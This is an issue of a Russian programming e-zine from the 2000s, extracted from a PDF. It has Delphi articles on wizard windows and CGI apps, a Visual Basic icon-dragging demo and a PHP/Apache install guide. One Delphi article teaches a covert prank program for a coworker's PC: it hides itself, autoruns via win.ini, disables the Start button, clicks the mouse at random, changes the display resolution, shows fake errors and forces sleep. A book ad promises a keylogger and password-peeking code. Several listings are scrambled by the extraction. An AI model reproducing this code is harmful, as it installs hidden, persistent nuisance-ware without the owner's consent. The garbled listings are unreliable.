35
VR-online JOURNAL Фленов Михаил and VR-Team VR-online для программистов 12 Copyright: VR-online Journal http://www.vr-online.ru

VR-Online для программистов #12

Embed Size (px)

DESCRIPTION

Бесплатный журнал для программистов и всех тех, кто интересуется околокомпьютерными вопросами.

Citation preview

Page 1: VR-Online для программистов #12

VR-online JOURNALФленов Михаил and VR-Team

VR-online для программистов №12

Delphi: Создание окна мастера .....................................................................................................3 Delphi: Приколы от Dr. Klouniz....................................................................................................5 Visual Basic: MiniWin ..................................................................................................................10 PHP: Установка и настройка ......................................................................................................12 Delphi: CGI ...................................................................................................................................15 Delphi: CGI – Дата и время .........................................................................................................21 Delphi: CGI поля ввода................................................................................................................23 Delphi: CGI – CheckBox и RadioButton в HTML.......................................................................27 Delphi: уменьшение размера скриптов ......................................................................................30 Delphi - хакерим...........................................................................................................................34

Copyright: VR-online Journal http://www.vr-online.ru

Page 2: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

I ИФ ГФ V Ctr I WEДК ДPнвфж Прсвм Епо

Не знаю как ты, а я уже не могу жить без компьютера. Любая свободная минута, как открывается крышка ноутбука и начинается загрузка моего любимого ХР. Старый стационарный комп я превратил в сервер и теперь на нём стоит Linux со всеми прибамбасами, хотя из всех запущенных я использую только Apache+PHP+MySQL.

В последнее время я просто влюбился в PHP и изучаю его от и до. Хотя знакомство с этим языком произошло достаточно давно, но реального опыта кодинга достаточно мало, поэтому сейчас целыми вечерами гоняю его вдоль и поперёк, проверяя безопасность, скорость и надёжность. Возможно, что следующая моя книга будет посвящена именно ему.

Моя любовь к программированию растёт всё больше и больше. Delphi – это уже пройденный этап, в котором стало скучно (к С++ моя тяга пропала года 4-е назад, хотя сейчас иногда приходится на нём кодить). Сейчас я больше внимания уделяю Java для кодинга каких-то своих утилит и PHP для Интернета.

Пока у меня мало практики в PHO, весь кодинг по сайту я доверяю знающим ребятам, ведь когда в команде есть такой бог, как Mish!, я и рядом не валялся ☺. Сейчас он что-то отошёл от дел в связи с учёбой и на это время работу подхватил OverNight. Когда я почувствую, что созрел, то вольюсь в эту команду третьим.

Изучив множество языков, могу с твёрдостью сказать, что для меня лучшими были и будут Delphi, JBuilder и PHP. С++ и Perl только отняли моё время, но не понравились по разным причинам. Да, у них есть мощные стороны, но есть и недостатки, с которыми я не смог мириться из-за чего не использую эти языки при написании коммерческих проектов. Хотя иногда балуюсь и запускаю VC++ для написания чего-то для себя.

Фленов Михаил

VR-online JOURNAL

Horrific aka Фленов Михаил

NFO:

ДЕЯ И РЕАЛИЗАЦИЯ: лёнов Михаил (Horrific)

РАФИКА: ленов Михаил, tr4sh, Slider

R-Team:

razy_Script, Del, Fighter, Mish!, Spider NET, 4sh, Slider, Neon_Kaligula, OverNight, p4h4

NTERNET:

WW: http://www.vr-online.ru -MAIL: [email protected] ИЗАЙН САЙТА: tr4sh ОДИНГ САЙТА: Mish!

анный журнал распространяется в виде DF файлов. Вы можете выкладывать номера а любые носители без изменения внешнего ида журнала, без перевода в другие орматы, без изменения самого файла. В урнал запрещается вносить изменения.

ерепечатка материалов запрещена. Журнал аспространяется бесплатно, и ты можешь качать его с нашего сайта, поэтому мы не идим смысла в перепечатывании атериалов.

сли ты хочешь стать автором журнала, то рисылай свою статью на наш e-mail и мы бязательно включим её в очередной номер.

2

Page 3: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: Создание окна мастера Сегодня я раскажу тебе, как можно создать простейшее и удобное окно мастера. В нём будет создано несколько панелей, каждая из которых будет содержать инфу для определённого шага и при выполнении панели будут просто сменять друг-друга.

Создай новый проект. Брось на форму две кнопки "Назад" и "Далее". Теперь положи на форму компонент TPanel c закладки "Standard", как показано на рисунке:

Установи на нём любые компоненты, а можешь просто сделать какую-нибудь надпись. Теперь брось на форму ещё одну панель. Её нужно поставить прямо над первой панелью. Если ты скачаешь пример в конце этой статьи и посмотришь его, то увидишь, что под панелями прячутся ещё панели, хотя на первый взгял их не видно.

Теперь создадим обработчик события OnShow для формы и напишем в нём следующее:

procedure TForm1.FormShow(Sender: TObject); begin Panel1.Visible:=true; Panel2.Visible:=false; Panel3.Visible:=false; end;

Здесь я делаю все панели невидимыми кроме первой. Теперь нам надо сделать так, чтобы по нажатии кнопки "Дальше" появлялась вторая панель, а затем третья. Для этого в обработчике события OnClick для кнопки "Далее" напишем:

procedure TForm1.Button1Click(Sender: TObject); begin //Если видна первая панель, то сделать видимой вторую if Panel1.Visible=true then begin

3

Page 4: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Panel1.Visible:=false; Panel2.Visible:=true; exit; end; //Если видна вторая панель, то сделать видимой первую if l2.Visible=true then Pane begin Panel2.Visible:=false; Panel3.Visible:=true; exit; end; end;

Теперь, то же самое, только для кнопки "Назад", чтобы мы могли двигатся в обратном порядке - от третей панели к первой. Для этого нужно обработать событие OnClick для кнопки "Назад":

procedure TForm1.Button2Click(Sender: TObject); begin if Panel3.Visible=true then begin Panel3.Visible:=false; Panel2.Visible:=true; exit; end; if Panel2.Visible=true then begin Panel2.Visible:=false; Panel1.Visible:=true; exit; end; end;

Вот и всё. Хотя я расскзал, как можно сделать мастер, такую подмену можно использовать везде. Главное понять смысл, а он прост, как секс :).

Copyright: Фленов Михаил [VR-Team]

4

Page 5: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: Приколы от Dr. Klouniz Сегодня, как ты догадался, нам предстоит закодить прогу-прикол. Поэтому запасись пивом и фисташками, чтобы подготовить свой мозг к принятию новой инфы. Эту прогу я решил сделать несколько отличной от типичных "образцов" жанра, но показать при этом возможности большинства прог, что я видел (и не видел) в инете. Наше произведение при первом запуске будет обеспечивать себе постоянную автозагрузку (зачем лишний раз напрягать юзера запуском?), не будет особо заметна для жертвы (только по Ctrl-Alt-Del) а прикалываться- много, часто и по разному :)

Так что я прекращаю базарить и перехожу к кодингу, поэтому изволь запустить Delphi :)

Для начала обеспечим себе невидимость. Ведь наша жертва должна полагать, что ее мучают багипроклятого MD, а не злобные приколы коллеги по отделу :) Поэтому делай project--> view source и убивай в появившемся окошке все после {$R *.RES}. Заместо этой ботвы вдолби следующее:

var Extenbegin

dedStyle : integer;

Application.Initialize; ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE); SetWindowLong(Application.Handle, GWL_EXSTYLE, ExtendedStyle or WS_EX_TOOLWINDOW); Application.CreateForm(TForm1, Form1); Aend.

pplication.Run;

Это даст нам невидимость в таскбаре (или, как говорит одна моя знакомая, на панели задач :)). Теперь иди в свойства формы (object inspector) и меняй Left и Top на -200. Можно и больше (-31337, например ;)), в зависимости от размеров формы. Это такой хитрый финт, чтобы главное окно проги оказалось за пределами видимости юзера. Можешь теперь запустить прогу и убедиться в ее незаметности.

AUTORUN

Создавай для формы событие OnCreate (object inspector--> вкладка events) и выжигай там письмена:

var win: TIniFile; //Добавь к Uses еще и IniFiles, а то работать не будет pres: string; begin Win:= TIniFile.Create('win.ini'); Win.ReadString ('windows','run',pres); // что запускается из win.ini IF pres<> application.ExeName then //Если не мы, то... win.WriteString('windows','run',application.ExeName); //Теперь будем мы Win.Free; //все

5

Page 6: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Raend;

NdOmIzE; //инициализация генератора случайных(псевдо:)) чисел.

Это, как ты понял, давно всеми забытый способ автозагрузки- из win.ini. Но не бойся, я так сделал не из-за большой любви к win 3.11, просто оригинальности захотелось :)

CODUS PRICOLIZMUS

Кидай на форму три таймера (вкладка system палитры компонент). Для двух последних выставляй свойство enabled в false (отключай их, то есть), а вот первый таймер бери за жабры и делай ему нужный interval. Это будет частота, с которой наша прога будет выкидывать разные фортели. Создай этому таймеру событие OnTimer (посредством даблклика :)) и объяви там в разделе var переменную pricol типа integer. Этой переменной мы затем будем присваивать случайно значение (помнишь randomize?), и затем выкидывать разные приколы в зависимости от этого значения. Всего приколов будет пять, поэтому пиши:

procedure TForm1.Timer1Timer(Sender: TObject); Var l: integer; Pricobegin pricol:= random (5); ..end;

. //вот здесь будет все нижеописанное :)

PRICOL №0- ЗАКРЫВАЕМ КНОПКУ "ПУСК"

С 1995 года кнопку "пуск" отменяли, закрывали, меняли на ней надпись и заставляли бегать по экрану тысячами способов. А все потому что она- всего лишь кнопка на окошке под названием "панель задач". И мы знаем класс этого окошка (Shell_TrayWnd). Поэтому все это в нашей, кодерской, власти! Долой "пуск":

IF pricol= 0 then begin EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', Nil), false); end;

...И если на нашей рулетке выпадет зеро, то вместо пуска будет зиять черный квадрат Малевича. Вернуть ее можно так:

EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', Nil), true);

Хотя тебе это, я уверен, не пригодится ;)

PRICOL №1- ПРОСТОЙ И ЗЛОБНЫЙ

Представь себе ситуацию. Сидит твой друг за служебным компом и рассказывает о платонической любви и непорочном зачатии ;) Как вдруг выскакивает окошко Internet Explorer с весьма, хм, содержательной картинкой. Реакцию публики представить нетрудно. А делать будем вот так:

IF ol= 1 then pric begin WinExec ('IEXPLORE.EXE c:\windows\pic.jpg',1);

6

end;

Page 7: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

А если не хочешь показывать свой шедевр в эксплорере, то делай:

SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar('C:\windows\pic1.jpg'), SPIF_SENDWININICHANGE);

И картинка окажется натянутой на десктоп. Ну разве не круто? Только не говори потом, что я подучил :) Сын за отца не отвечает =)

PRICOL №2- БЕЗБАШЕННАЯ МЫШКА

Как тебе понравится, если вдруг мышка начнет "вырываться из рук" и давить куда попало? Я думаю, если твой "друг" уже прочитал нашу статью, то скоро у тебя будет шанс проверить это на своей шкуре :) Потому что злобный приятель напишет следующее:

IF pricol= 2 then begin num:=1; //не забудь ее объявить в голбальных переменных! //Это наш счетчик. Не может же мышка дергаться вечно ;) Timer2.enabled:= TRUE; //передаем эстафету второму таймеру Timer1.enabled:= FALSE; end;

А в обработчик OnTimer второго таймера он набьет:

procedure TForm1.Timer2Timer(Sender: TObject); var PXY: TPoint; //переменная координат Nebegin

wX,NewY,rw: integer; //координаты

rw:= random (2); //кинем монетку :) GetCursorPos (pxy); //Текущая позиция курсора //Случайным образом изменим координату X IF rw= 0 then NewX:= PXY.X+random(200) else NewX:= PXY.X-random(200); IF rw= 1 then NewY:= PXY.Y+random(200) else NewY:= PXY.Y-random(200); //и Y тоже SetCursorPos (NewX,NewY); //установим курсор в новые координаты //имитируем нажатие левой кнопки Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTDOWN, NewX, NewY,0,0); //..и ее отпускание Mouse_Event(MOUSEEVENTF_ABSOLUTE or MOUSEEVENTF_LEFTUP, NewX, NewY,0,0); (num); // Увеличим счетчик безумств Inc IF num= 150 then //похоже, пора завязывать begin Timer1.enabled:= TRUE; //Отдаем управление основному таймеру Timer2.enabled:= FALSE; end; end;

7

Page 8: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Так что постарайся опередить своего друга-приколиста :) Обмани ближнего своего, ибо ближний обманет тебя и возрадуется /Библия Приколиста/. :)

PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!

Для начала кинь на свою форму какую- нибудь картинку (лучше- фотку предполагаемой жертвы), потому как нам придется показать окно программы. Не просто так, конечно, а с подвохом:

IF pricol= 3 then begin form1.Position:= poScreenCenter; //Выносим главное окно в центр экрана MessageDlg ('Слышь, баклан! Ты че-то засиделся. Я уже спать хочу!', mtInformation,[mbOK],0); form1.position:= poDesigned; // Вернемся ЗА КРАЙ :) SetSystemPowerState (true,true); // Уходим в спячку (sleep-mode) end;

Выглядит это достаточно эффектно, поэтому подумай сначала, надо ли себя так афишировать. А то у меня один приятель подумал что к нему на комп попал злобный вирус и тут же купил лицензию на AVP (!). А когда он не помог, просто форматнул себе винт :)

Да, и еще: функция SetSystemPowerState не работает в Win2k и NT. Поэтому не шуми и не заваливай меня письмами по этому поводу :)

PRICOL №3- СПОКОЙНОЙ НОЧИ, WINDOWS!

На самом деле я не хотел писать про этот прикол. Потому что ничего о нем не знал :) Но сегодня я наткнулся в инете на прогу, которая несколько раз меняет разрешение экрана и при этом выдает дурацкие сообщения об ошибках. Не знаю, прикольно это или нет, но мне захотелось описать тебе ее работу. Пиши (сколько раз я уже сказал это слово:)) все в тот же первый таймер:

IF pricol= 4 then begin num:=1; //Старый добрый счетчик. Теперь- количество смен разрешения Timer3.enabled:= TRUE; //передаем эстафету третьему таймеру Timer1.enabled:= FALSE; end;

А в OnTimer третьего таймера вот этот могучий текст:

procedure TForm1.Timer3Timer(Sender: TObject); var dm : TDEVMODE; x: array [1..3] Of integer; y: array [1..3] Of integer; x1,y1,n: integer; begin //Объявляем доступные разрешения x[1]:= 640; y[1]:= 480; x[2]:= 800; y[2]:= 600; x[3]:= 1024; y[3]:= 768; //Ok n:= random (3);// случайно выбираем x1:= x[n+1]; //...ширину y1:= y[n+1]; //...высоту

8

{Устанавливаем}

Page 9: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x1; dm.dmPelsHeight := y1; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); IF 10 then num= begin Timer1.enabled:= TRUE; Timer3.enabled:= FALSE; end; MessageDlg ('Could not initalize video driver'#13#10'Please, restart windows!', mtError,[mbOk],0); //идиотское сообщение об ошибке ;) {Вте!} end;

END OF THE WORLD

Ну вот мы и написали полноценную пограмму-прикол. Это оказалось совсем не сложно, и это при том, что прога вышла понавороченнее многих своих собратьев :) Не забудь скачать исходник, он слегка отличается от описанного мной. Удачи!

Copyright © Dr. Klouniz

9

Page 10: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Visual Basic: MiniWin Не пугайтесь, здесь я пока не буду рассказывать, как сделать свою оболочку, или файловый менеджер. Я расскажу про рабочий стол. Вы наверно и не задумывались, что можно таскать по своей программе всякие значки, ну вот если будите читать дальше, то узнаете, как это можно сделать. Приготовления: Ну, как обычно запускаем Visual Basic, и на форму кидаете, ну например 10 Image`в и один Label.

Ну примерно так. Все иконки лежат в Common Files`ax(ну кроме хакера). Теперь у каждой картинки в свойствах (кроме помоек) DragMode = 1- Auto. Всё теперь их можно таскать, но когда это делаешь вокруг них появляется квадрат, что это исправить в свойстве DragIcon ту же картинку которая у вас в свойстве Picture. Ну вот переходим к основному коду. Листинг : Private Sub Form_DragDrop(Source As Control, X As Single, Y As Single) \\ обрабатываем передвижение объекта (Source) Source.Left = X \\ устанавливаем координаты Source.Top = Y End Sub Private Sub Form_Load() Image10.Left = Image9.Left \\ надвигаем помойку одну на другую End Sub Private Sub Image9_DragDrop(Source As Control, X As Single, Y As Single)

10

Page 11: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

\\ обработчик взятия и перетаскивания на эту картинку какого-нибудь значка

в помойку объект

rivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)

ину с огнём

сли вы всё сделали правильно то всё должно работать. Исходник и саму прогу можно

Copyright: Slider [VR-Team]

mage10.Visible = True \\ показываем горящую корзину Source.Visible = False \\ прячем(удаляем) перенесённыйEnd Sub P\\ при наведении курсора на форму Image10.Visible = False \\ прячем корзEnd Sub Енайти в этом же архиве.

11

Page 12: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

PHP: Установка и настройка Привет всем, с сегодняшнего дня в VR-online будет опубликован цикл статей по РНР. Для начала, немного истории и что такое РНР вообще. Язык программирования РНР начал свое развитие с 1995 года и начало его развитию положил Расмус Лердорф. Тогда он назывался «Personal Home Page». Современная же расшифровка РНР звучит немного по другому: «PHP Hypertext Processor». Такое название он приобрел в 1997 году. К концу 2000 года РНР становится одним из самых распространенных языков программирования для Интернета. На этом историческая справка окончена. Итак приступаем к установке. Процесс скачивания я описывать не буду, потому как это не сложно, просто идешь на http://www.php.net и качаешь отсюда модуль РНР, советую качать с инсталером, так как под виндами так ставить удобнее, да и геморра с компиляцией меньше. Потом идешь на http://www.apache.org и качаешь сервер Апачи, самый распространенный сейчас. Установка. Если ты скачал всё, то приступай к установке. Запускай инсталер(сначала поставим апач), установка практически ничем не отличается от обычной программы, но при установки у тебя спросят твой домен, если такового нет, то напиши просто localhost. Теперь устанавливаем РНР, тут тоже всё просто, ответь на пару-тройку тупых вопросов и всё, советую ставить РНР в папку C:\PHP, поближе к корню, так удобней будет. Настройка. И теперь самый сложный этап работы:), запасись пивом и вперед:) Иди в каталог с РНР и найди там файл php.ini-dist переименуй его в php.ini и перемести в католог с Виндовсом, потом найди в папке с РНР библиотеки php4ts.dll и Mscvrt.dll (эти файлы бывают почему то не всегда, например в РНР 4.3.3 нет файла Mscvrt.dll) и перемести их в папку $WinDir$\System ($WinDir$ - папка в которой у тебя лежит Виндовс). Теперь перейди в папку $Apache$\conf ($Apache$ - папка в которую ты установил Апач), там найди файл httpd. В этом файле найди строку ScriptAlias /cgi-bin/ "C:/Apache/cgi-bin/" Прямо под ней напиши следующее: ScriptAlias /php/ "C:/php/"

12

Page 13: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Теперь найди строки: #AddType application/x-httpd-php3. phtml #AddType application/x-httpd-php3-source .phps (Если их нет, то напиши их в секции AddType) Прямо под ними напиши следующее: AddType application/x-httpd-php .phtml .php AddType application/x-httpd-php-source .phps Теперь найдите следующую секцию: # # Action lets you define media types that will execute a script whenever # a matching file is called. This eliminates the need for repeated URL # pathnames for oft-used CGI file processors. # Format: Action media/type /cgi-script/location # Format: Action handler-name /cgi-script/location # Под ней напишите: Action application/x-httpd-php /php/php.exe Всё, если ты всё сделал правильно, то РНР должен работать. Сохрани в папке $Apache$\htdocs\ файл test.php следующего содержания: <html> <title><? print "Hello world!"; ?></title> </html> Теперь запусти свой браузер и набери адрес localhost/text.php и увидишь результат работы скрипта. Заключение. Сегодня ты научился подключать модуль РНР к апачу, в дальнейшем я расскажу еще про РНР, если будут какие вопросы, то мыль: [email protected]

Copyright © 2004 OverNight aka Volik Anton [VR-Team]

13

Page 14: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Программирование в Delphi глазами хакера

14

Автор: Фленов Михаил aka Horrific Из книги ты узнаешь:

• Кто такой Хакер и как им стать; • Как создавать программы

маленького размера; • Как оптимизировать код программы; • Как заставить летать кнопку «Пуск»; • Научишься контролировать

системную палитру; • Научишься изменять разрешение

экрана из своих программ; • Увидишь множество шуточного кода; • Узнаешь, как подсматриваем пароли,

спрятанные под звездочками; • Напишешь программу мониторинга

запускных файлов и клавиатурный шпион; • Сможешь портить окна чужих программ; • Как создавать окна неправильной формы; • Научишься работать с сетью через компоненты Delphi и увидишь как создаются

сканеры портов, утилиты ping и др. • Узнаешь, как работать с сетью на уровне библиотеки WinSock; • Узнаешь, как работать с железом

И многое другое. Посмотри на содержимое диска, и ты поймёшь, что он стоит того, чтобы купить эту книгу с диском: \Headers - Все необходимые заголовочные файлы, которые нужно будет подключать к Delphi для компиляции некоторых примеров \Source - Исходные коды своих простых программ, чтобы вы могли ознакомиться с реальными приложениями. Их немного, но посмотреть стоит. \Soft - Инсталляционный пакет программы Adobe Acrobat Reader v5.0. Если у вас нет этой программы, то вы должны её установить, чтобы можно было читать документацию, расположенную на диске. \Vr-online - Полная копия сайта автора, а это 100 мегабайт документации, полезной информации, исходных кодов и компонентов. Здесь же вы можете найти мою книгу "Библия Delphi" - в электронном виде. В ней вы найдёте все необходимые для понимания этого материала основы и если вы ещё ни разу не видели Delphi, то после прочтения этой книги вы сможете понять всё описанное здесь. \Документация - Дополнительная документация, которая может понадобиться для понимания каких-то глав. \Иконки - В этой директории вы найдёте большую коллекцию иконок, которые вы можете использовать в своих программах. Эту коллекцию я подбирал достаточно долго и все иконки хорошего качества. \Компоненты - Дополнительные компоненты, которые будут использоваться в примерах книги. \Программы - Программы, которые пригодятся в программировании. Среди них Header Convert - программа, которая конвертирует заголовочные файлы с языка С на Delphi и ASPack - программа сжатия запускных файлов. Спрашивай книгу в книжных магазинах своего города!!! Заказать книгу через инет

Page 15: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Delphi: CGI Привет Сумкины, Шлюмкины и все остальные. Наконец и мои статьи заняли

достойное место во всем уже полюбившемся журнале. Но сейчас я хочу удержать свои позиции существования на этих страницах формата pdf, а потому, оставлю все эти условности и перейду сразу к делу.

А сегодня мы займемся с вами разработкой собственных CGI предложений, т. е. приложений. Прежде всего мы должны разобраться, в том, что это, собственно, такое и с чем его едят. Common Gateway Interface (CGI) – это своеобразный интерфейс взаимодействия программы с http сервером. Сама программа выполняется не на машине клиента, а на сервере. Сам сервер, разумеется сделать ничего не сможет без операционной системы. Именно ОС и выполняет все программы, установленные на сервере. Она же выполняет код и нашей программы CGI. Стоп – не нужно прокручивать эту страницу. Все что здесь было сказано – это условность, чтобы вы знали, что наша программа, которую мы сейчас напишем, будет работать только на сервере, в котором установлена ОС Windows и при условии, что администратор сервера разрешает запуск CGI приложений.

Итак, зачем же нужны эти программы CGI? Эти приложения позволяют нам отображать страницы динамически, т. е. страницы будут отображаться в зависимости от того, что запросила машина клиента. Так, с помощью таких программ сервер может показывать ту или иную информацию в обычном браузере, например IE, зарегистрированному пользователю и, напротив, ее не показывать незарегистрированному. Благодаря CGI пишутся различные форумы, счетчики посещений, гостевые книги, которые работают автоматически без участия администратора или модератора. С помощью CGI можно работать с базами данных, занося в них списки зарегистрированных пользователей или проверяя, существует ли тот или иной пользователь. В сущности, почти все форумы и работают по этому принципу: все сообщения пользователя заносятся в определенные таблицы, а при поступившем запросе, просто показывают записи в них. Множество электронных магазинов, существующих на просторах Интернета также работают благодаря CGI, принимая заказы посетителей и занося их в базу данных.

Думаю, что этой инфы по CGI на сегодня вам хватит. Именно поэтому мы начнем разрабатывать свою собственную программу CGI, но под управлением Windows. Да, да, я знаю, что большинство серверов в сети не работают с Win приложениями, так как большая часть из них работают на Unix и других подобного рода ОС (хотя есть и исключения). Но в последнее время Microsoft выпустила новую версию винды – Windows Server 2003. Скорее всего это не изменит представление администраторов о надежности Windows, но по крайней мере эта ОС будет появляться в локальных сетях офисов и целых фирм.

15

Page 16: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Итак, начн Прежде всего мы должны установить на свой компьютер http сервер, с поддержкой запуска CGI приложений. Хотя в Delphi 7 уже появился такой сервер, но с меньшими функциями, я все же пользуюсь Small HTTP Server, который прост как в настройке, так и в работе. Наличие http сервера существенно упрощает задачи разработчика, так как последний может проверить работоспособность своей программы и сделать необходимые тесты. После того как вы установили http сервер, вы должны настроить его. Самое главное – включить сам http сервер, указать местоположение Web папки с индексной страницей (у меня это главная страница с именем Index.htm) и активизировать запуск CGI приложений. Когда сервер настроен мы можем создавать стартовую страницу, с которой и будет происходить просмотр всех остальных и запуск CGI скриптов. Еще хочу сделать одну оговорку. Некоторые хосты не позволяют запуск CGI приложений, так как они могут нанести серьезный вред серверу. С помощью CGI некоторые крэкеры (кракеры, крекеры, горе хакеры, как угодно) получают информацию о сервере и атакуют их, закачивая новые вредные скрипты.

ем.

Small http Server у меня загружен всегда. Обычно он прячется в трее и не показывает никаких признаков жизни

Для нашей первой программы я создал стартовый файл с именем Index.htm, текст которого состоит из следующих строк: <html> <head> <title>Vr-Online – это круто!</title> </head> <body bgcolor="#D2D2D2">

16

<form action="http://127.0.0.1/cgi-bin/open.exe"> <i><b>Щелкните по кнопке "Подача запроса"</b></i><br> <input type="submit"> </form> <hr> </body> </html>

Если ты не понял в этом листинге ни одной строки, то мне тебя очень жаль… Скорее всего ты не сможешь продолжить написание программ CGI. Предлагаю сначала выучить язык гипертекстовой разметки HTML. Этот язык очень прост и легок в изучении. Мой первый учебник по HTML, с которого я начал

Page 17: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

свое обучение, был скачен с http://postroika.ru. Он очень хорошо подходит для людей, совершенно не знакомых с HTML. Сначала взгляни на него, а потом ты просто можешь посмотреть отдельные и наиболее продвинутые учебники, в которых рассматривается построение форм, необходимых для наших скриптов.

Главными здесь являются три строки, а остальные – скорее «правила хорошего тона» (которые у меня выполнены не в самых лучших манерах) и немного оформления. Рассмотрим их получше:

С этой страницы и будет происходить запуск скрипта

<form action="http://127.0.0.1/cgi-bin/open.exe"> <input type="submit"> </form>

В первой строке я указываю, что существует такая форма, которая содержит в атрибуте action путь к нашей программе – http://127.0.0.1/cgi-bin/open.exe. cgi-bin – это web папка, назначенная сервером. Только те программы, которые лежат в этой папке может выполнить сервер, при условии, что клиентская машина запросила выполнение скрипта. open.exe – имя нашего скрипта. Вторая строка – это кнопка, которая будет запускать программу, путь к которой записан в атрибуте action формы. Последняя строка закрывает тег формы.

Когда мы создали стартовый файл, мы должны дать ему имя Index.htm и поместить в Web папку, с которой сервер, при обращении к нему, покажет именно эту страницу. После всех этих приготовлений мы немного отдохнем (и опять писать начнем :) и напишем сам скрипт open.exe. Писать мы его, разумеется, будем не на Perl или PHP, а на нашем родном Delphi. Поэтому наберитесь терпения и следуйте моим инструкциям.

Итак, запускаем Delphi (если ты не знаешь как это сделать, то, как говорил один чел, иди копать траншеи), жмем File New Other. Далее, в появившемся окне New Items, выделяем Web Server Application на вкладке New. Нажатие на кнопке OK приведет к появлению окна New Web Server Application. Здесь смотрим, что мы имеем наиболее интересного на мой взгляд:

1. ISAPI/NSAPI Dynamic Link Library. При выборе этого пункта вы начнете разработку динамической библиотеки dll, которая будет загружаться сервером, при обращении пользователя к нему. Все данные формы, отправленные пользователем с браузера, передадутся сервером в эту библиотеку, а она, обработав запрос, вернет серверу те же данные, но в виде структуры, с помощью интерфейса ISAPI компании Microsoft или NSAPI компании Netscape.

2. CGI Standart-alone executable. Мы выберем именно этот пункт, который создаст нам шаблон для разработки консольного приложения, которое, в свою очередь, будет запускаться сервером для обработки и которое выдаст результат серверу напрямую без использования специальных структур.

3. Apache 1.x (2.x) Shared Module (DLL). Выбор этого пункта приведет к созданию файла dll, который будет загружаться по мере необходимости. Единственное отличие от первого пункта заключается в том, что dll-ка создается для Apache. Знающие люди говорят, что эта dll-ка будет работать только с Linux. Доверимся их мнению (очень не хочется сносить Windows, т. е. ой как хочется, но нет возможности) и не станем использовать этот пункт в этой статье.

17

Page 18: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Сейчас мы выбираем

второй пункт и жмем на кнопку OK, тем самым создаем консольное приложение, которое будет возвращать результат серверу напрямую. У нас автоматически создается модуль, в котором мы и будем разрабатывать свое приложение и компилировать его в exe-шник.

Для начала мы создадим

простейшее приложение, которое будет выводить страницу в окне браузера. И еще я хочу заметить, что мы будем двигаться от простого к сложному, от низшего к высшему (вспоминая

школьные годы и уроки биологии, хочется добавить: при помощи естественного отбора и борьбы за существование). Каждый новый пример будет дополнять предыдущий, поэтому не стоит удалять их. Это вызовет лишь только путаницу.

Наверное не стоит больше отвлекаться и следует уже переходить к делу. Сначала мы выделим окно WebModule1. Затем смотрим что мы имеем в объектном инспекторе на вкладке Properties. Главное интересующее нас свойство – Actions, где мы и щелкам мышью двойным нажатием. После этого у нас открывается окно Editing WebModule1.Actions, которое имеет единственную активную кнопку AddNew (Ins). Угадай как мы далее создадим WebActionItem1, имея только одну кнопку в окне? Если вы не знаете ответ на этот вопрос, то Horrific был прав, говоря «иди копать траншеи». Если это не так, то создайте новый элемент и выделите его. Вновь обратимся к нашему инспектору, в котором на вкладке Events дважды щелкаем по событию onAction. В появившемся обработчике пишем

Небольшое окно – модуль, с которым мы и будем работать.

Response.Content:=’Vr-Online’; Эта строка при запросе пользователя (по нажатию на кнопку в странице, которую

мы первым делом набрали) выведет строку Vr-Online. Хотя некоторые разработчики считают этот способ неудобным и используют функцию WriteLn, а выражение Response.Content только при обработке специальных запросов. Лично я использую только Response и в общем то меня это устраивает. Именно поэтому развернем наш пример и сгенерируем полноценную страницу (ведь нельзя же писать документ html без использования тегов!). Для начала сотрем нашу строку и напишем следующее:

Response.Content:='<html><head><title>CGI - Пример 1</title></head>'+ '<body bgcolor="#D2D2D2">'+ '<form action="http://127.0.0.1/cgi-bin/go.exe">'+ 'Привет.<br>Это твоя первая сгенерированная страница!!!<br>'+ '<input type="button" onClick="javascript:history.back()" value="< Назад"><input type="submit" value="Далее >">'+ '</form></body></html>';

Не пугайся, что здесь так много написано. В действительности в основном весь

текст состоит из тегов html, а от Delphi здесь только выражение Response.Content.

18

Page 19: VR-Online для программистов #12

VR-online Journal (Horrific and VR-Team) Для программистов №12

http://www.vr-online.ru

Теперь прежде чем ты начнешь компилировать прогу тебе необходимо ее сохранить. Выбери в меню File пункт Save All… или нажми сочетание клавиш Shift+Ctrl+S чтобы сохранить все. В открывшемся окне выбери путь к директории cgi-bin. Имя модуля можешь оставить любое, но имя проекта следует назвать open.dpr, т. к. наша прога должна иметь имя open.exe (на это имя у нас ссылка в Index’е). После сохранения можно компилировать прогу и начать тестирование. Открываем

